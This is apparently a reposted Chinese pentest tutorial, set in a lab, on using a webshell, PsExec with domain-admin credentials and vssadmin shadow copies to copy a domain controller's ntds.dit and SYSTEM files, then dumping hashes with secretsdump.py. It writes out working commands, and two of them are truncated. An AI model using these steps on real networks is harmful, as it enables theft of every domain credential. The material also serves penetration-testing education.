您好,登錄后才能下訂單哦!
這篇文章給大家分享的是有關如何通過Webshell遠程導出域控ntds.dit的內容。小編覺得挺實用的,因此分享給大家做個參考,一起跟隨小編過來看看吧。
在滲透測試期間我也面臨了同樣的問題(沒有公網IP服務器)。在稍稍討論了該問題之后,我找到了一種方法,如果我們有“AD Domain Admin”用戶憑據,那么通過WebShell就可以幫助我們實現上述目標。
這里,我們假設:
1、AD域控機器(queen.DC1.indishell.lab - 192.168.56.200)
2、被控制的Windows機器 - 連接到AD(LABONE - 192.168.56.101)
3、管理獲取Windows AD域管理用戶(你可以使用任何可用的exploit,在這里我使用的是“MS14-025”來獲得域管理員用戶密碼的)
現在,我可以在Windows機器上進行訪問web shell,它連接到域,即“LABONE”,其IP為“192.168.56.101”。域管理員的用戶名為“user1”,密碼為“ica_1046”。
這里,我將使用以下兩個二進制文件:
1、psexec.exe < - Windows內部工具
2、vssadmin < - 用于創建/刪除Windows驅動器的卷影副本的命令
無論如何,如果我們設法在Windows AD域控機器上運行“vssadmin”命令,“vssadmin”命令將生成“C”盤的卷影副本,并且從該卷影副本我們可以復制“ntds.dit”和“SYSTEM”文件。為了實現上述任務,我們將使用“psexec.exe”,如果我們使用“elevated”選項(通過指定-h)指定目標計算機IP、域管理員用戶名及其密碼,則可以在遠程Windows計算機上執行命令。我們需要通過web shell在Windows機器“LABONE”上上傳psexec.exe。從Web shell我們將使用“vssadmin”命令指定AD域控機器IP,域管理員用戶名及其密碼。
psexec文件將遠程執行Windows AD域控計算機上的vssadmin命令。在創建“C”盤卷影副本之后,我們需要將“ntds.dit”和“SYSTEM”文件從該卷影副本復制到我們具有Web shell訪問權限的機器上,即Windows域機器“LABONE”。這個任務可以通過使用“psexec”來完成,我們只需在“copy”命令中指定目標AD域控機器的IP,域管理員用戶名和密碼即可,請使用SMB將ndts.dit和SYSTEM文件從卷影副本復制到LABONE機器。這里,我將這些文件復制到了我轉儲psexec文件的同一目錄下。
使用“psexec”在遠程主機上執行命令的常規用法:
psexec.exe \\remote_IP -u user_name -p password_of_the_user -h cmd /c "command_which_we_want_to_execute"<br />
就我而言,我應填寫如下信息:
remote_IP 192.168.56.200(queen.DC1.indishell.lab)
user_name user1
password_of_the_user ica_1046
我在Windows域機器“LABONE”上具有web shell訪問權限,并在服務器上傳了psexec二進制文件。
首先,我們先來檢查下是否有“C”盤的卷影副本可用。你可以使用以下命令來列出可用的卷影副本:
vssadmin list shadows
這里,web shell無法顯示遠程主機上psexec binary執行的所有命令輸出,所以我將命令輸出重定向到了“LABONE”上,并保存在C:\xampp\htdocs\box\ps\目錄下。執行該步驟的命令如下:
PsExec.exe \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "vssadmin list shadows > \\192.168.56.101\C$\xampp\htdocs\box\ps\out.txt"
Web shell顯示psexec正在遠程Windows AD域控機器上執行命令。如果一切順利,我們將在目錄“C:\xampp\htdocs\box\ps”中獲取到一個名為“out.txt”的文件,它將包含在AD域控(192.168.56.200)上執行的“vssadmin list shadows”命令的輸出。
可以看到out.txt文件已生成在了目錄中,讓我們來查看下其中的內容。
“out.txt”文件內容顯示,目標域控機器到目前為止并沒有任何的卷影副本。
讓我們創建一個“C”盤的卷影副本,以竊取“ntds.dit”和“SYSTEM”文件。
用于創建c盤卷影副本的命令如下:
vssadmin create shadow /for=C:
我們需要有新創建的“C”盤卷影副本的名稱它將在命令的輸出中,因此我們將把上述命令的輸出重定向到我們擁有web shell訪問權的機器上。
要從目標機器復制“ntds.dit”和“SYSTEM”文件,我們需要有卷影副本的名稱。最終的命令為:
PsExec.exe \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "vssadmin create shadow /for=C: >
以上命令,psexec正在Windows AD域控機器(192.168.56.200)上執行命令創建“C”盤的卷影副本,然后將該命令的輸出重定向到 "LABONE"機器的 "C:\xmpp\htdocs\box\ps\out.txt"文件中。
“out.txt”文件的內容將告訴我們卷影副本的位置。
在以上截圖中我們可以看到,卷影副本的卷名為“\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\”。
“ntds.dit”和“SYSTEM”文件的位置如下:
"shadow_copy_volume_name\Windows\NTDS\NTDS.dit"
"shadow_copy_volume_name\Windows\System32\config\SYSTEM"
即:
"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\NTDS\NTDS.dit"
"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\System32\config\SYSTEM"
讓我們使用以下命令從目標Windows AD域控機器復制“ntds.dit”文件:
PsExec.exe \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\NTDS\NTDS.dit \\192.168.56.101\C$\xampp\htdocs\box\ps\"
此命令將會將“ntds.dit”文件從遠程機器(192.168.56.200)復制到“LABONE”機器(192.168.56.101)的“C:\xampp\htdocs\box\ps\”目錄下。
可以看到web shell顯示,一個文件已從目標DC機器復制到了我的機器上。讓我們確認并檢查“C:\xampp\htdocs\box\ps”看看是否已成功復制“ntds.dit”文件。
如上所示,“ntds.dit”文件已成功被復制到了“LABONE”機器上。
同樣,我們使用該命令復制“SYSTEM”文件:
PsExec.exe \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\System32\config\SYSTEM
命令執行成功,Web shell顯示“1 file copied”的消息提示。再次檢查并確認是否成功執行。
可以看到“SYSTEM”文件也已成功被復制到了 "LABONE"機器上。我們可以從這里使用web shell下載這些文件。
現在,我們可以使用python腳本secretsdump.py,從“ntds.dit”和“SYSTEM”文件中提取Domain,udi,rid LM和NT hashes。命令如下:
python secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
結果如下:
感謝各位的閱讀!關于“如何通過Webshell遠程導出域控ntds.dit”這篇文章就分享到這里了,希望以上內容可以對大家有一定的幫助,讓大家可以學到更多知識,如果覺得文章不錯,可以把它分享出去讓更多的人看到吧!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。